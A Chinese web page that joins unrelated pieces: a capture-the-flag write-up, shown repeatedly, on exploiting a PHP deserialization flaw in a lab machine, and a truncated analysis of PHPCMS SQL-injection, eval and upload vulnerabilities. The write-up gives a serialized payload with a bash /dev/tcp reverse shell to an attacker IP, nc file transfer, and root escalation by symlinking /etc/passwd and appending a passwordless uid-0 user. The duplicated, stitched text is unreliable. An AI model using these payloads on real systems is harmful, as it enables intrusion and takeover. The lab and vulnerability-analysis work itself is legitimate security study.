分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束! 查看全部
php抓取网页数据插入数据库 外壳坚硬的谷子
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件

其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!

查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-06-28 22:05
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
